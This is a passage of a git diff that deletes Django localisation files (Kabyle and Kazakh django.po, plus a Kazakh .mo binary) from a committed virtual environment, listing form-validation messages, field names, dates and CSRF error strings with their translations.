-msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "Afaylu" - -msgid "Image" -msgstr "Tugna" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "" - -msgid "One-to-one relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "" - -msgid "Enter a whole number." -msgstr "Sekcem amḍan ummid." - -msgid "Enter a valid date." -msgstr "" - -msgid "Enter a valid time." -msgstr "" - -msgid "Enter a valid date/time." -msgstr "" - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" - -msgid "No file was submitted." -msgstr "Afaylu ur yettwazen ara." - -msgid "The submitted file is empty." -msgstr "" - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" - -msgid "Enter a list of values." -msgstr "" - -msgid "Enter a complete value." -msgstr "Sekcem azal ummid." - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "Amizwer" - -msgid "Delete" -msgstr "KKES" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "" - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" - -msgid "Please correct the duplicate values below." -msgstr "" - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Sfeḍ" - -msgid "Currently" -msgstr "Tura" - -msgid "Change" -msgstr "Beddel" - -msgid "Unknown" -msgstr "Arussin" - -msgid "Yes" -msgstr "Ih" - -msgid "No" -msgstr "Uhu" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%s KB" -msgstr "%s KAṬ" - -#, python-format -msgid "%s MB" -msgstr "%s MAṬ" - -#, python-format -msgid "%s GB" -msgstr "%s GAṬ" - -#, python-format -msgid "%s TB" -msgstr "%s TAṬ" - -#, python-format -msgid "%s PB" -msgstr "%s PAṬ" - -msgid "p.m." -msgstr "m.d." - -msgid "a.m." -msgstr "f.t." - -msgid "PM" -msgstr "MD" - -msgid "AM" -msgstr "FT" - -msgid "midnight" -msgstr "ttnaṣfa n yiḍ" - -msgid "noon" -msgstr "ttnaṣfa n uzal" - -msgid "Monday" -msgstr "Arim" - -msgid "Tuesday" -msgstr "Aram" - -msgid "Wednesday" -msgstr "Ahad" - -msgid "Thursday" -msgstr "Amhad" - -msgid "Friday" -msgstr "Sem" - -msgid "Saturday" -msgstr "Sed" - -msgid "Sunday" -msgstr "Acer" - -msgid "Mon" -msgstr "Ari" - -msgid "Tue" -msgstr "Ara" - -msgid "Wed" -msgstr "Aha" - -msgid "Thu" -msgstr "Amh" - -msgid "Fri" -msgstr "Sem" - -msgid "Sat" -msgstr "Sed" - -msgid "Sun" -msgstr "Ace" - -msgid "January" -msgstr "Yennayer" - -msgid "February" -msgstr "Fuṛaṛ" - -msgid "March" -msgstr "Meɣres" - -msgid "April" -msgstr "Yebrir" - -msgid "May" -msgstr "Mayyu" - -msgid "June" -msgstr "Yunyu" - -msgid "July" -msgstr "Yulyu" - -msgid "August" -msgstr "Ɣuct" - -msgid "September" -msgstr "Ctamber" - -msgid "October" -msgstr "Tuber" - -msgid "November" -msgstr "Wamber" - -msgid "December" -msgstr "Dujamber" - -msgid "jan" -msgstr "yen" - -msgid "feb" -msgstr "fuṛ" - -msgid "mar" -msgstr "meɣ" - -msgid "apr" -msgstr "yeb" - -msgid "may" -msgstr "may" - -msgid "jun" -msgstr "yun" - -msgid "jul" -msgstr "yul" - -msgid "aug" -msgstr "ɣuc" - -msgid "sep" -msgstr "cte" - -msgid "oct" -msgstr "tub" - -msgid "nov" -msgstr "wam" - -msgid "dec" -msgstr "duj" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Yen." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Fuṛ." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Meɣres" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Yebrir" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Mayyu" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Yunyu" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Yulyu" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Ɣuc." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Tub." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Wam." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Duj." - -msgctxt "alt. month" -msgid "January" -msgstr "Yennayer" - -msgctxt "alt. month" -msgid "February" -msgstr "Fuṛaṛ" - -msgctxt "alt. month" -msgid "March" -msgstr "Meɣres" - -msgctxt "alt. month" -msgid "April" -msgstr "Yebrir" - -msgctxt "alt. month" -msgid "May" -msgstr "Mayyu" - -msgctxt "alt. month" -msgid "June" -msgstr "Yunyu" - -msgctxt "alt. month" -msgid "July" -msgstr "Yulyu" - -msgctxt "alt. month" -msgid "August" -msgstr "Ɣuct" - -msgctxt "alt. month" -msgid "September" -msgstr "Ctamber" - -msgctxt "alt. month" -msgid "October" -msgstr "Tuber" - -msgctxt "alt. month" -msgid "November" -msgstr "Wamber" - -msgctxt "alt. month" -msgid "December" -msgstr "Dujamber" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "neɣ" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "" -msgstr[1] "" - -msgid "0 minutes" -msgstr "0 n tisdatin" - -msgid "Forbidden" -msgstr "Yegdel" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "" - -msgid "No day specified" -msgstr "" - -msgid "No week specified" -msgstr "" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "Bdu s Django" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/kk/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/kk/LC_MESSAGES/django.mo deleted file mode 100644 index 38300b20..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/kk/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/kk/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/kk/LC_MESSAGES/django.po deleted file mode 100644 index 2858be06..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/kk/LC_MESSAGES/django.po +++ /dev/null @@ -1,1223 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Baurzhan Muftakhidinov , 2015 -# Zharzhan Kulmyrza , 2011 -# Leo Trubach , 2017 -# Nurlan Rakhimzhanov , 2011 -# yun_man_ger , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Kazakh (http://www.transifex.com/django/django/language/kk/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: kk\n" -"Plural-Forms: nplurals=2; plural=(n!=1);\n" - -msgid "Afrikaans" -msgstr "" - -msgid "Arabic" -msgstr "Араб" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "Әзірбайжан" - -msgid "Bulgarian" -msgstr "Болгар" - -msgid "Belarusian" -msgstr "" - -msgid "Bengali" -msgstr "Бенгал" - -msgid "Breton" -msgstr "" - -msgid "Bosnian" -msgstr "Босния" - -msgid "Catalan" -msgstr "Каталан" - -msgid "Czech" -msgstr "Чех" - -msgid "Welsh" -msgstr "Валлий" - -msgid "Danish" -msgstr "Дания" - -msgid "German" -msgstr "Неміс" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "Грек" - -msgid "English" -msgstr "Ағылшын" - -msgid "Australian English" -msgstr "" - -msgid "British English" -msgstr "Британдық ағылшын" - -msgid "Esperanto" -msgstr "" - -msgid "Spanish" -msgstr "Испан" - -msgid "Argentinian Spanish" -msgstr "Аргентиналық испан" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "Мексикалық испан" - -msgid "Nicaraguan Spanish" -msgstr "Никарагуа испан" - -msgid "Venezuelan Spanish" -msgstr "" - -msgid "Estonian" -msgstr "Эстон" - -msgid "Basque" -msgstr "Баск" - -msgid "Persian" -msgstr "Парсы" - -msgid "Finnish" -msgstr "Фин" - -msgid "French" -msgstr "Француз" - -msgid "Frisian" -msgstr "Фриз" - -msgid "Irish" -msgstr "Ирландия" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "Галиц" - -msgid "Hebrew" -msgstr "Иврит" - -msgid "Hindi" -msgstr "Хинди" - -msgid "Croatian" -msgstr "Кроат" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "Венгрия" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "" - -msgid "Indonesian" -msgstr "Индонезия" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "Исладия" - -msgid "Italian" -msgstr "Итальян" - -msgid "Japanese" -msgstr "Жапон" - -msgid "Georgian" -msgstr "Грузин" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "Қазақша" - -msgid "Khmer" -msgstr "Кхмер" - -msgid "Kannada" -msgstr "Канада" - -msgid "Korean" -msgstr "Корей" - -msgid "Luxembourgish" -msgstr "" - -msgid "Lithuanian" -msgstr "Литва" - -msgid "Latvian" -msgstr "Латвия" - -msgid "Macedonian" -msgstr "Македон" - -msgid "Malayalam" -msgstr "Малаялам" - -msgid "Mongolian" -msgstr "Монғол" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "" - -msgid "Dutch" -msgstr "Голланд" - -msgid "Norwegian Nynorsk" -msgstr "Норвегиялық нюнор" - -msgid "Ossetic" -msgstr "" - -msgid "Punjabi" -msgstr "Пенджаб" - -msgid "Polish" -msgstr "Поляк" - -msgid "Portuguese" -msgstr "Португал" - -msgid "Brazilian Portuguese" -msgstr "Бразилиялық португал" - -msgid "Romanian" -msgstr "Роман" - -msgid "Russian" -msgstr "Орыс" - -msgid "Slovak" -msgstr "Словак" - -msgid "Slovenian" -msgstr "Словениялық" - -msgid "Albanian" -msgstr "Албан" - -msgid "Serbian" -msgstr "Серб" - -msgid "Serbian Latin" -msgstr "Сербиялық латын" - -msgid "Swedish" -msgstr "Швед" - -msgid "Swahili" -msgstr "" - -msgid "Tamil" -msgstr "Тамиль" - -msgid "Telugu" -msgstr "Телугу" - -msgid "Thai" -msgstr "Тай" - -msgid "Turkish" -msgstr "Түрік" - -msgid "Tatar" -msgstr "" - -msgid "Udmurt" -msgstr "" - -msgid "Ukrainian" -msgstr "Украин" - -msgid "Urdu" -msgstr "Урду" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Вьетнам" - -msgid "Simplified Chinese" -msgstr "Жеңілдетілген қытай" - -msgid "Traditional Chinese" -msgstr "Дәстүрлі қытай" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "Тура мәнін енгізіңіз." - -msgid "Enter a valid URL." -msgstr "Тура URL-ді енгізіңіз." - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Тура IPv4 адресті енгізіңіз." - -msgid "Enter a valid IPv6 address." -msgstr "" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "" - -msgid "Enter only digits separated by commas." -msgstr "Тек үтірлермен бөлінген цифрлерді енгізіңіз." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Бұл мәннің %(limit_value)s екендігін тексеріңіз (қазір ол %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" -"Бұл мәннің мынадан %(limit_value)s кіші немесе тең екендігін тексеріңіз." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"Бұл мәннің мынадан %(limit_value)s үлкен немесе тең екендігін тексеріңіз." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Enter a number." -msgstr "Сан енгізіңіз." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "және" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "Бұл жолақ null болмау керек." - -msgid "This field cannot be blank." -msgstr "Бұл жолақ бос болмау керек." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s %(field_label)s жолақпен бұрыннан бар." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Жолақтын түрі: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Boolean (True немесе False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Жол (%(max_length)s символға дейін)" - -msgid "Comma-separated integers" -msgstr "Үтірмен бөлінген бүтін сандар" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Дата (уақытсыз)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Дата (уақытпен)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Ондық сан" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "Email адрес" - -msgid "File path" -msgstr "Файл жолы" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Реал сан" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Бүтін сан" - -msgid "Big (8 byte) integer" -msgstr "Ұзын (8 байт) бүтін сан" - -msgid "IPv4 address" -msgstr "" - -msgid "IP address" -msgstr "IP мекенжайы" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Булеан (True, False немесе None)" - -msgid "Positive integer" -msgstr "" - -msgid "Positive small integer" -msgstr "" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "" - -msgid "Small integer" -msgstr "" - -msgid "Text" -msgstr "Мәтін" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Уақыт" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "" - -msgid "Image" -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Foreign Key (тип related field арқылы анықталады)" - -msgid "One-to-one relationship" -msgstr "One-to-one қатынас" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "Many-to-many қатынас" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "Бұл өрісті толтыру міндетті." - -msgid "Enter a whole number." -msgstr "Толық санды енгізіңіз." - -msgid "Enter a valid date." -msgstr "Дұрыс күнді енгізіңіз." - -msgid "Enter a valid time." -msgstr "Дұрыс уақытты енгізіңіз." - -msgid "Enter a valid date/time." -msgstr "Дұрыс күнді/уақытты енгізіңіз." - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Ешқандай файл жіберілмеді. Форманың кодтау түрін тексеріңіз." - -msgid "No file was submitted." -msgstr "Ешқандай файл жіберілмеді." - -msgid "The submitted file is empty." -msgstr "Бос файл жіберілді." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Файлды жіберіңіз немесе тазалауды белгіленіз, екеуін бірге емес." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Дұрыс сүретті жүктеңіз. Сіз жүктеген файл - сүрет емес немесе бұзылған сүрет." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Дұрыс тандау жасаңыз. %(value)s дұрыс тандау емес." - -msgid "Enter a list of values." -msgstr "Мәндер тізімін енгізіңіз." - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "Сұрыптау" - -msgid "Delete" -msgstr "Жою" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "%(field)s жолақтағы қайталанған мәнді түзетіңіз." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "%(field)s жолақтағы мәнді түзетіңіз, ол бірегей болу керек." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"%(field_name)s жолақтағы мәнді түзетіңіз. Ол %(date_field)s жолақтың ішінде " -"%(lookup)s үшін бірегей болу керек." - -msgid "Please correct the duplicate values below." -msgstr "Қайталанатын мәндерді түзетіңіз." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Дұрыс нұсқаны таңдаңыз. Бұл нұсқа дұрыс таңдаулардың арасында жоқ." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Тазалау" - -msgid "Currently" -msgstr "Ағымдағы" - -msgid "Change" -msgstr "Түзету" - -msgid "Unknown" -msgstr "Белгісіз" - -msgid "Yes" -msgstr "Иә" - -msgid "No" -msgstr "Жоқ" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "иә,жоқ,мүмкін" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d байт" -msgstr[1] "%(size)d байт" - -#, python-format -msgid "%s KB" -msgstr "%s КБ" - -#, python-format -msgid "%s MB" -msgstr "%s МБ" - -#, python-format -msgid "%s GB" -msgstr "%s ГБ" - -#, python-format -msgid "%s TB" -msgstr "%s ТБ" - -#, python-format -msgid "%s PB" -msgstr "%s ПБ" - -msgid "p.m." -msgstr "Т.Қ." - -msgid "a.m." -msgstr "Т.Ж." - -msgid "PM" -msgstr "ТҚ" - -msgid "AM" -msgstr "ТЖ" - -msgid "midnight" -msgstr "түнжарым" - -msgid "noon" -msgstr "түсқайта" - -msgid "Monday" -msgstr "Дүйсенбі" - -msgid "Tuesday" -msgstr "Сейсенбі" - -msgid "Wednesday" -msgstr "Сәрсенбі" - -msgid "Thursday" -msgstr "Бейсенбі" - -msgid "Friday" -msgstr "Жума" - -msgid "Saturday" -msgstr "Сенбі" - -msgid "Sunday" -msgstr "Жексенбі" - -msgid "Mon" -msgstr "Дб" - -msgid "Tue" -msgstr "Сб" - -msgid "Wed" -msgstr "Ср" - -msgid "Thu" -msgstr "Бс" - -msgid "Fri" -msgstr "Жм" - -msgid "Sat" -msgstr "Сн" - -msgid "Sun" -msgstr "Жк" - -msgid "January" -msgstr "Қаңтар" - -msgid "February" -msgstr "Ақпан" - -msgid "March" -msgstr "Наурыз" - -msgid "April" -msgstr "Сәуір" - -msgid "May" -msgstr "Мамыр" - -msgid "June" -msgstr "Маусым" - -msgid "July" -msgstr "Шілде" - -msgid "August" -msgstr "Тамыз" - -msgid "September" -msgstr "Қыркүйек" - -msgid "October" -msgstr "Қазан" - -msgid "November" -msgstr "Қараша" - -msgid "December" -msgstr "Желтоқсан" - -msgid "jan" -msgstr "қан" - -msgid "feb" -msgstr "ақп" - -msgid "mar" -msgstr "нау" - -msgid "apr" -msgstr "сәу" - -msgid "may" -msgstr "мам" - -msgid "jun" -msgstr "мау" - -msgid "jul" -msgstr "шіл" - -msgid "aug" -msgstr "там" - -msgid "sep" -msgstr "қыр" - -msgid "oct" -msgstr "қаз" - -msgid "nov" -msgstr "қар" - -msgid "dec" -msgstr "жел" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Қаң." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Ақп." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Наурыз" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Сәуір" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Мамыр" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Маусым" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Шілде" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Там." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Қыр." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Қаз." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Қар." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Жел." - -msgctxt "alt. month" -msgid "January" -msgstr "Қаңтар" - -msgctxt "alt. month" -msgid "February" -msgstr "Ақпан" - -msgctxt "alt. month" -msgid "March" -msgstr "Наурыз" - -msgctxt "alt. month" -msgid "April" -msgstr 